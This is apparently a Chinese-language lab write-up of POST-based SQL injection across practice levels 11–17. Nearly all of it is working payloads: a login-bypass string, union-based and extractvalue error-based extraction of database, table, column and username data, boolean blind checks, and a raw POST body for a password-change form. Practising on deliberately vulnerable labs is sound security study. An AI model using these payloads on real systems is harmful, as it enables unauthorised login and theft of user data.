POST注入
-
post注入思路和get显错位注入思路一致
-
只是请求的方法从get变为了post
一般的基本思路如下,以登录框为注入点为例(密码随便输入):
tips:
万能密码:
xxx’ or 1=1 #
1.已知一个用户
-
eg:admin
-
使用连接符and
判断是否可以注入
admin' and 1=1 -- s //返回正常,登录成功
admin' and 1=2 -- s //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入
#闭合符号'需要进行判断确定
判断字段数 =》 order by
admin' order by 3
判断回显位置 =》 union
1231' union select 1,2,3 -- s
得到数据库名字 =》 database()
1231' union select 1,database(),user() -- s
得到表名 =》 information_schema.tables
1231' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=database() -- s
得到字段名 =》 information_schema.columns
1231' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name="users" -- s
获取数据
1231' union select 1,2,group_concat(username) from users
2.不知道用户名
-
使用连接符or
-
结合报错注入(通常在没有回显时使用)
判断是否可以注入
123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库
123' or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表
123' or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段
123' or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据
123' or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制
第11关
注入点:用户名输入框
注入类型:POST+字符型
构造闭合符号:单引号'
payload:
判断是否可以注入
admin' and 1=1 # //返回正常,登录成功
admin' and 1=2 # //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入
#闭合符号'需要进行判断确定
判断字段数 =》 order by
admin' order by 2 //返回正常
admin' order by 3 //返回异常 确定字段数为2位
判断回显位置 =》 union
1231' union select 1,2 -- s
#1231 使得原来正确的admin 不占用回显位
得到数据库名字 =》 database()
1231' union select 1,database() -- s
得到表名 =》 information_schema.tables
1231' union select 1,group_concat(table_name)
from information_schema.tables where table_schema=database() -- s
得到字段名 =》 information_schema.columns
1231' union select 1,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name="users" -- s
获取数据
1231' union select 1,group_concat(username) from users -- s
ps:本关也可以使用报错注入的方法
第12关
注入点:用户名输入框
注入类型:POST+字符型
构造闭合符号:双引号+括号")
PS:流程方法与第11关一致,也可以使用报错注入的方式
第13关
注入点:用户名输入框
注入类型:POST+报错注入
构造闭合符号:单引号+括号')
判断是否可以注入
123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入
报错方法获取数据库
123') or extractvalue('1',concat("~~",(database()))) -- s
报错方法获取表
123') or extractvalue('1',concat("~~",(select group_concat(table_name)
from information_schema.tables where table_schema=database()))) -- s
报错方法获取字段
123') or extractvalue('1',concat("~~",(select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name="users"))) -- s
报错方法获取数据
123') or extractvalue('1',concat("~~",(select group_concat(username)
from users))) -- s
PS:本关无回显,使用报错注入的方式
第14关
注入点:用户名输入框
注入类型:POST+报错注入
构造闭合符号:双引号"
PS:流程方法与第13关一致,只是构造符号不同
第15关
注入点:用户名输入框
注入类型:POST+布尔盲注
构造闭合符号:单引号'
payload:
123' or length(database())=8 -- s //判断数据库名长度
PS:详细流程与第8关一致,只不过注入点在用户输入框中
第16关
注入点:用户名输入框
注入类型:POST+布尔盲注
构造闭合符号:双引号+括号")
payload:
123") or length(database())=8 -- s //判断数据库名长度
PS:详细流程与第8关一致,只不过注入点在用户输入框中,闭合符号不同
第17关
情景:密码修改
注入点:密码输入框
注入类型:POST+报错注入
构造闭合符号:单引号'
前提:
-
已知一个用户名
-
方法
- 暴力破解
- 推测
-
经过测试得知存在用户admin
payload:
uname=admin&passwd=123'and extractvalue(1,concat('~~',database(),'~~')) -- s&submit=Submit
PS:这里的payload是通过burp工具执行的,若要在页面注入,只需分别在框中输入admin和123’and extractvalue(1,concat(‘
‘,database(),’’)) – s